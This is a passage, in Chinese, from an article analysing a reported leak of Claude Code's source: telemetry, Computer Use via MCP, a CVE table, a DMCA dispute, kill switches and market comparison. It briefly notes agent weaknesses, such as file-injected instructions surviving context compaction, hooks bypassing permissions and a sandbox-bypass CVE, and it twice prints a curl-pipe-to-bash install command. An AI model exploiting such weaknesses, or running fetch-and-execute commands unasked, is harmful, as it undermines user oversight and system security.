  → 使用者看到建議同時,後台 Fork Agent 已開始執行
  → 檔案寫入 overlay 目錄(copy-on-write 隔離)
  → 接受 → 注入對話 + 複製到真實 FS
  → 拒絕 → 丟棄

使用者回饋格式:Speculated 5 tool uses — +12s saved (47s this session)

純 TypeScript 原生模組移植

Claude Code 將 C++/Rust 依賴完全移植為 TypeScript:

  • Yoga 佈局引擎(~2,400 行)— 多層快取策略,4 槽環形快取將 500 消息 scrollbox 的 layoutNode 呼叫從 76K 降至 4K
  • 模糊搜索(移植 nucleo/fzf)— 字元位圖過濾(O(1) 拒絕)→ 融合 indexOf 掃描 → gap-bound 拒絕 → 邊界/駝峰評分
  • 語法高亮 + Word-Level Diff(移植 syntect/bat)— highlight.js 延遲載入避免 200ms 啟動成本

遙測系統詳解

Claude Code 的遙測系統在洩漏後引發了隱私社群的強烈關注。TEXXR 的分析標題精準概括:「這不是 VS Code 級別的遙測——這是 agent 為你做了什麼的遙測。

規模:640 事件、40 指紋維度、每 5 秒

指標 數值
遙測事件數 640
裝置指紋維度 40
API 查詢頻率 每 5 秒一次
離線快取路徑 ~/.claude/telemetry/

啟動時回報的資料

Claude Code 啟動時,firstPartyEventLoggingExporter.ts 會立即傳送:

  • User ID、Session ID、Account UUID、Org UUID
  • Email 地址(若已設定)
  • App 版本、平台、終端類型
  • 當前啟用的 feature gates

API 查詢遙測

tengu_api_query 事件在每次 API 互動時觸發,傳送:

  • 訊息長度(messageLength)
  • System prompt 的 JSON 序列化位元組長度
  • 完整工具 schema

裝置指紋與帳號執法

指紋不僅是分析工具,也是執法機制。當付費用戶從第四台裝置登入時,指紋不匹配會觸發永久帳號封禁——無上訴、無退款。同一個指紋維度同時記錄你曾開啟過該工具的每台裝置。

Statsig → GrowthBook 遷移

Anthropic 原本使用 Statsig 做分析和 A/B 測試——直到 OpenAI 在 2025 年 9 月收購了 Statsig,繼續使用變得不合適。遷移到開源的 GrowthBook 後,所有事件以 tengu_ 為前綴(Claude Code 的內部代號就是 Tengu):tengu_api_successtengu_inittengu_exittengu_auto_mode_configtengu_harbor 等。

隱私分層

PII 標記的值使用 _PROTO_ 前綴的 payload key。這些 key 在傳送到 Datadog 等一般存取後端前會被剝離,僅由 first-party event logging exporter 路由到受保護的 BigQuery 欄位。

  flowchart LR
    A[遙測事件] --> B{PII 標記?}
    B -->|是| C[_PROTO_ 前綴]
    C --> D[First-Party Exporter<br>→ 受保護 BigQuery]
    B -->|否| E[一般後端<br>→ Datadog / GrowthBook]
    A --> F[離線時] --> G[~/.claude/telemetry/<br>本地暫存]

關鍵差異:VS Code vs Claude Code

VS Code 的遙測記錄你如何使用介面。Claude Code 的遙測記錄 agent 為你做了什麼:讀取了哪些檔案、執行了哪些命令、組裝了什麼 context。用戶是操作者,而 agent 是執行者——遙測追蹤的是 agent 的行為,不僅僅是使用者的點擊。


CHICAGO_MCP:Computer Use 的 MCP 化

架構意義

CHICAGO 是 Claude Computer Use 的內部代號。洩漏中最具架構意義的發現之一:Computer Use 不是特殊處理的模型層功能,而是一個 MCP Server。

1
@ant/computer-use-mcp

這意味著 Anthropic 沒有為 Computer Use 建構專屬管線。它使用與所有其他工具完全相同的 MCP 介面——tools/list 發現、tools/call 呼叫、結構化結果返回。Claude Code 不是「在 MCP 之上構建」——它的工具架構本身就是 MCP,應用在每一層。

macOS 權限模型

CHICAGO 在 macOS 上需要兩項系統權限:

  • Accessibility:允許 Claude 點擊、鍵入、滾動
  • Screen Recording:允許 Claude 看到螢幕內容

啟用後,Claude 還能存取剪貼簿。

版本釘選的權限問題

CLI 的二進位檔安裝在 ~/.local/share/claude/versions/{version}——每個版本一個新路徑。macOS 的權限綁定到特定二進位檔,不是符號連結。每次 Claude Code 更新,Accessibility 和 Screen Recording 權限都會失效,必須重新授予。這個問題在 Desktop App 中不存在(app bundle 路徑跨版本穩定)。


CVE 安全漏洞

洩漏後,安全研究人員針對公開的原始碼進行了系統性的漏洞審計:

CVE CVSS 類型 狀態
CVE-2025-59536 8.7 🔴 透過惡意專案設定檔的遠端程式碼執行 已修補(v1.0.111)
CVE-2025-59537 5.3 🟠 透過環境變數操作的 API 金鑰外洩 部分修補(v2.0.65)
CVE-2026-21852 5.3 🟠 環境變數操作的 API 金鑰外洩 已修補
CVE-2026-25725 沙盒繞過導致未授權檔案系統存取 已修補(v2.1.2)

Tree-sitter Parser 已存在但未啟用

Adversa 安全團隊發現,Claude Code 內部已經有 Tree-sitter AST parser 並且能正確解析命令,但在公開版本中未被啟用。公開版本使用的舊版 splitCommand_DEPRECATED parser 存在 carriage return 注入風險(前述 Parser Differential 漏洞)。即使只是一行程式碼的修改——將 fallback 行為從「ask」改為「deny」——就能解決特定漏洞。v2.1.90 已靜默修補。

安全建議

  1. 切換到 Native Installer(curl -fsSL https://claude.ai/install.sh | bash),避免 npm 依賴鏈
  2. 檢查 npm ls axios 是否包含惡意版本 1.14.1 或 0.30.4
  3. 在非自己建立的 repo 中使用 Claude Code 時,對 CLAUDE.md 等設定檔採零信任
  4. 企業環境應在 AWS Bedrock 或 Google Vertex AI 上使用,透過 VPC 路由避免程式碼走公網

DMCA 風暴與法律反諷

8,100 → 96:DMCA 過度執法的縮減

洩漏發生後,Anthropic 的 DMCA 執法行動本身就成了一個事件:

1
2
3
4
5
6
Day 1:發出 8,100+ DMCA takedown 請求
       → 涵蓋 Anthropic 自己公開 repo 的 fork 網絡
       → 數千個無關 repo 被誤刪(技能、教學、文件)
Day 2-3:社群反彈,The Pragmatic Engineer 公開稱之為「DMCA 濫用」
       → Boris Cherny(Claude Code 負責人)承認過度執法
       → 縮減至 1 個目標 repo + 96 個含洩漏碼的 fork

目標是 github.com/nirholas/claude-code,但由於它處於 Anthropic 公開 Claude Code repo 的 fork 網絡中,DMCA 請求觸發了連鎖反應。GitHub 已恢復所有受影響 repo 的存取。

版權反諷

這件事充滿了歷史的諷刺:

  • Anthropic 正在被多起版權訴訟:作者和出版商集體訴訟(2024 年提起),法院判決 Anthropic 因將 700 萬本盜版書存入「中央圖書館」而需賠償
  • $15 億美元和解案:2026 年 4 月,近 120,000 名作者和版權持有人申請分享該和解金——美國史上最大的版權類和解案
  • Reddit 訴 Anthropic:未經授權抓取用戶生成內容
  • Universal Music Group 訴 Anthropic:非法下載 20,000 首版權歌曲用於訓練
  • 現在 Anthropic 用版權法來保護自己的程式碼

如 Business Insider 所述:「Anthropic 使用版權法來阻止開發者存取洩漏的程式碼——而同時他們自己正因為未經授權使用他人版權內容而被起訴。」

AI 生成程式碼的版權問題

法律分析師 Michael Kimball 指出了一個更深的問題:2023 年 Thaler v. Perlmutter 案裁定 AI 生成的作品不符合版權保護資格。Anthropic 的領導層暗示 Claude 本身編寫了 Claude Code 的相當部分——這創造了法律不確定性:AI 生成的程式碼部分是否享有版權?

Anthropic 的 DMCA 請求中對「技術保護措施是否被繞過」回答了「否」——意味著當前爭議主要關於未經授權的複製和分發,而非存取控制繞過。


競爭格局:洩漏如何改變 AI 編程工具市場

架構透明化

洩漏前,Claude Code 的「魔力」是黑盒子。Anthropic 可以宣稱更好的記憶管理、context 處理和 agent 編排,而無需展示證明。現在,競爭對手可以直接研究 Anthropic 的實作並複製或改進。

如 Atlas Peak Research 所述:「這是一個商品化事件——agentic 編排層不再是被嚴密守護的商業秘密。」

Claude Code vs Cursor vs GitHub Copilot(2026)

維度 Claude Code Cursor GitHub Copilot
類型 終端 CLI agent AI 原生 IDE(VS Code fork) 多 IDE 擴充
價格(Pro) $20/月 $20/月 $10/月
價格(高階) $100-200/月(Max) $40/月(Business) $39/月(Enterprise)
Context Window 1M tokens(Opus 4.6) 模型依賴(最高 256K) 模型依賴
SWE-bench Verified 72.5%(Opus 4.6) 模型依賴(~65%) ~64%(GPT-5.4)
自動完成 Supermaven(72% 接受率) 有(inline suggestions)
多 Agent 並行 Agent Teams(16+ agents)
多 IDE 支援 任何終端 僅 Cursor VS Code、JetBrains、Neovim
Background Agent KAIROS(未發佈) Cloud VMs Coding Agent
程式碼審查 原生 PR review

Towards AI 的分析:「更誠實的競爭」

洩漏沒有暴露 Cursor 的弱點——它暴露了 Cursor 的策略。Cursor 的真正賭注是開發者的 IDE 環境才是護城河:每天 8 小時的 IDE 原生、自動完成優先的互動,對大多數開發者來說比終端自主性更有價值。72% 的自動完成接受率是任何背景 agent 複雜度都無法匹敵的生產力乘數。

市場結論:Cursor 應該加快自動完成和更好的 Composer agent;Anthropic 應該推出 KAIROS。市場足夠大,兩者都能存活。


6 個遠端殺開關

Claude Code 源碼揭示了至少 6 個遠端殺開關,全部透過 GrowthBook 管理,允許 Anthropic 在不更新應用程式或獲得用戶同意的情況下,遠端改變軟體行為

架構分兩層:

  1. 遠端設定端點——Anthropic 伺服器定期輪詢
  2. GrowthBook feature flags——tengu_ 前綴,可遠端切換
1
2
3
4
每 5 秒輪詢遠端設定
  → feature flag 評估
  → 決定啟用/禁用特定功能
  → 用戶無法覆蓋

這些殺開關的存在意味著你安裝的 Claude Code 的實際功能組合可能與你上次更新時不同——Anthropic 可以隨時遠端關閉任何功能。


Hardcoded Vendors 與 claude.ai-managed MCP

489 個 MCP 工具 + 89 個預審網域

洩漏碼中發現了大量硬編碼的第三方整合:

類別 數量 說明
MCP 工具(collapse allowlist) 489 unique 40 個標籤分組
WebFetch 預審主機 89 hosts 無需 URL 即可抓取
部署標籤 29 explicit 遙測用途
秘密掃描規則 36 rules 23 個憑證家族
API 閘道指紋 7 gateways

claude.ai-managed MCP 代理路徑

源碼直接顯示了一條 claude.ai 託管的 MCP 路徑

1
使用者 → OAuth on claude.ai → mcp-proxy.anthropic.com → MCP Server

6 個標籤區塊被明確標記為 claude.ai 託管:Slack、Gmail、Google Drive、Google Calendar、PubMed、BigQuery(Datadog 存在爭議)。

這與用戶本地管理的 MCP 配置不同——這些整合透過 Anthropic 的代理伺服器路由,使用者透過 claude.ai OAuth 連接,而非本地 MCP 配置。


Anthropic 的官方回應與後續措施

官方聲明

「Earlier today, a Claude Code release included some internal source code. No sensitive customer data or credentials were involved or exposed. This was a release packaging issue caused by human error, not a security breach. We’re rolling out measures to prevent this from happening again.」

後續措施

  1. 從 npm 下架 v2.1.88,發布修正版本
  2. 推薦 Native Installercurl -fsSL https://claude.ai/install.sh | bash)取代 npm 安裝方式——獨立二進位檔不依賴 npm 依賴鏈
  3. DMCA 縮減:從 8,100+ 縮至 96 個精準目標
  4. Boris Cherny 公開承認過度執法
  5. 加強 CI/CD 流程,防止 source map 再次被包含

核心架構的簡潔性

getaibook.com 的分析指出了一個被廣泛引用的發現——Claude Code 的核心就是一個 while(tool_call) 迴圈

1
2
3
4
while (tool_call) {
    result = execute(tool_call)
    response = claude(result)
}

沒有意圖分類器、沒有任務路由器、沒有 RAG 管線、沒有 DAG 編排器、沒有 planner/executor 分離。模型自己決定呼叫哪些工具、以什麼順序、何時停止。512,000 行程式碼的全部複雜性——記憶、安全、權限、context 管理——都是圍繞這個簡單迴圈建構的。


對本地優先 AI 建構者的啟示

能力 Claude Code(雲端依賴) 本地優先替代
遙測 情緒追蹤、session 分析、每小時設定輪詢 預設零遙測
反蒸餾 無使用者可見性下注入假工具 完全控制 system prompt
記憶架構 MEMORY.md + Strict Write Discipline 任何模型 + 檔案系統即可複製
背景代理 KAIROS(未發佈,雲端連接) Cron + 本地模型 API
API 鎖定 Attestation hash 綁定 Anthropic API 隨時切換模型或提供商

核心啟示: Claude Code 的工程模式(記憶整合、context 管理、多 agent 協調)都可以用開放權重模型在本地硬體上複製——無需遙測、無需供應商鎖定、無需無法檢查的功能。


重點整理

  • 根因.npmignore 一行缺失 + R2 bucket 無認證 = 512K 行源碼公開
  • KAIROS:完全建構的自主 agent daemon,代表 Anthropic 從「被動工具」到「主動代理」的戰略轉向
  • AutoDream:Forked subagent 隔離執行記憶整合,防止污染主 context——非平凡的工程決策
  • 反蒸餾:雙層防禦(假工具 + 推理壓縮),但技術上可被繞過,真正的防禦是法律
  • Bash 安全:23 個檢查(含 HackerOne 發現的 malformed token injection),Parser Differential 仍存在 CR 注入風險;Tree-sitter parser 已存在但公開版未啟用
  • Auto Mode:每次 tool call 獨立跑 Sonnet 4.6 classifier,真實成本和延遲
  • Context Compaction:5 種策略瀑布流,不區分指令來源,檔案注入的指令可在摘要中存活
  • Prompt Cache:14 個 break vectors + sticky latch(不可逆),session 中途修改配置會永久打破 cache
  • Undercover Mode:AI 程式碼零歸屬進入開源,引發透明度爭議
  • Capybara v8 退步:False claims 從 16.7% 升至 29-30%,暗示訓練動態問題
  • Hook System:25+ hooks,HTTP hook 可繞過權限,SessionStart 須冪等防 fork bomb
  • Claude Buddy:精心設計的留存機制,hex-encoded 防 capybara 衝突
  • 遙測系統:640 事件、40 指紋維度、每 5 秒查詢,指紋同時是帳號執法機制(第 4 台裝置→永久封禁)
  • CHICAGO_MCP:Computer Use 就是 MCP Server(@ant/computer-use-mcp),不是特殊管線——Claude Code 的工具架構本身就是 MCP
  • CVE 漏洞:4 個 CVE(最高 CVSS 8.7 RCE),v2.1.90 已靜默修補 parser 差異
  • DMCA 風暴:8,100→96 縮減,Anthropic 面臨「用版權法保護自己,同時被版權法起訴」的反諷
  • 遠端殺開關:6 個 GrowthBook 管理的殺開關,Anthropic 可隨時遠端改變功能
  • claude.ai MCP 代理:Slack/Gmail/Drive/Calendar/PubMed/BigQuery 走 Anthropic 代理伺服器
  • 核心迴圈:512K 行的複雜性圍繞一個 while(tool_call) 迴圈——沒有意圖分類器、沒有 RAG、沒有 DAG
  • 競爭影響:agentic 編排層已商品化,市場從「黑盒子行銷」轉向「可驗證的架構比較」
  • 對本地 AI 的啟示:所有架構模式都可複製,開放方案是可行的替代路徑

參考資料